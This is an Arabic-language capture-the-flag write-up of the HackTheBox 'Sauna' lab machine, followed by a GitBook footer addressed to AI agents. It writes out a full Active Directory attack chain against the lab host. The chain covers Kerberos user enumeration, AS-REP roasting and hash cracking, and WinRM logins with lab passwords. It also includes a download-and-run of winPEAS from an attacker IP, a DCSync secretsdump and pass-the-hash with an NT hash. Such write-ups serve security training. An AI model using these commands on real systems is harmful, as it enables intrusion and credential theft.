> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # شرح Sauna HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات**: * تسرب المعلومات * استطلاع LDAP * استطلاع مستخدمي Kerberos - Kerbrute * هجوم AS-REP Roasting (GetNPUsers) * كسر التجزئات * استطلاع النظام - WinPEAS * بيانات اعتماد AutoLogon * BloodHound - SharpHound.ps1 * هجوم DCSync - Secretsdump (تصعيد الامتيازات) * Pass-the-Hash {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted": ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **الاستطلاع والاستغلال:** ### **استطلاع SMB:** استخدام CrackMapExec لتحديد نظام التشغيل ```bash crackmapexec smb 10.10.10.175 ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف.

#### استكشاف مشاركة SMB على الشبكة لتحديد الموارد المشتركة ولكن دون نتائج. ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **استطلاع RPC:** استخدام rpcclient للتفاعل مع خدمات CPP وجمع معلومات الموارد ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **استطلاع LDAP:** {% embed url="" %} #### تحليل معلومات LDAP للحصول على تفاصيل حول بنية النطاق والمستخدمين. ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**تحليل معلومات LDAP** تحليل التفاصيل المتعلقة ببنية النطاق والمستخدمين. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **تصفية مستخدمي LDAP** تصفية للحصول على مستخدمي LDAP فقط. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### قائمة المستخدمين:

#### أنشئ `users.txt` ملف يحتوي على أسماء المستخدمين المحتملة. ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **قائمة المستخدمين عبر Kerberos** باستخدام `kerbrute` لسرد المستخدمين الصالحين. ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **قائمة المستخدمين عبر Impacket** باستخدام `impacket-GetNPUsers` لسرد المستخدمين الصالحين بدون كلمات مرور. ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### هجوم القوة الغاشمة: استخدام John لكسر الهاش المسترد.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### الاتصال والتحكم عن بُعد استخدام WinRM للاتصال عن بُعد. ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### يعمل، ولكن من دون علامة pwned لا يمكن الاتصال عبر WinRM.

في هذا المثال، يمكن الاتصال لأن المستخدم fsmith عضو في مجموعة /\*Remote Management Users ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **تسجيل الدخول باستخدام Evil-WinRM** استخدام Evil-WinRM للاتصال التفاعلي عبر WinRM. ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## تصعيد الامتيازات: #### **التحقق من الامتيازات الخاصة:** باستخدام `whoami /priv` للتحقق من الامتيازات الخاصة.

#### **البحث عن مستخدمين جدد** باستخدام `net user` للبحث عن مستخدمين جدد.

**البحث عن بيانات الاعتماد للمستخدم "svc/ loanmgr"** ### **الاستطلاع بواسطة** winPEAS.exe {% embed url="" %} تنزيل وتشغيل أداة الاستطلاع winPEAS ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### التحقق من المعرفات التي عُثر عليها باستخدام crackmapexec: تم العثور على بيانات اعتماد تسجيل دخول تلقائي للمستخدم `svc_loanmgr` ، مع كلمة المرور

#### استخدام crackmapexec للتحقق من أن كلمة المرور صحيحة. ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### الاتصال بمعرّفات "svc/ loanmgr": ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## قائمة النطاق باستخدام Bloodhound:

تثبيت BloodHound:

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### الاتصال بـ Bloodhound باستخدام بيانات الاعتماد neo4j:neo4j.

#### جاري تشغيل BloodHound. ```bash bloodhound &> /dev/null & disown ```

### جمع المعلومات باستخدام SharpHound.ps1 {% embed url="" %}

### نقل البيانات المجمعة إلى Linux واستيرادها إلى Bloodhound #### إنشاء ملف .zip بنتائج عملية الجمع. ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### تنزيل ملف zip من جهاز Windows إلى Linux. ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### استيراد ملف zip إلى Bloodhound.

### التحليل والتنفيذ: #### التصفية للحصول على أقصر مسار إلى الإدارة

#### تشير الأداة إلى إمكانية تنفيذ هجوم DCsync.

## ثغرة هجوم DCSync: {% embed url="" %} #### استخدام secretsdump للحصول على NT hash من المستخدم administrator. ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### استخدام psexec لتشغيل cmd كمسؤول باستخدام NT hash. ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### العلم النهائي :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.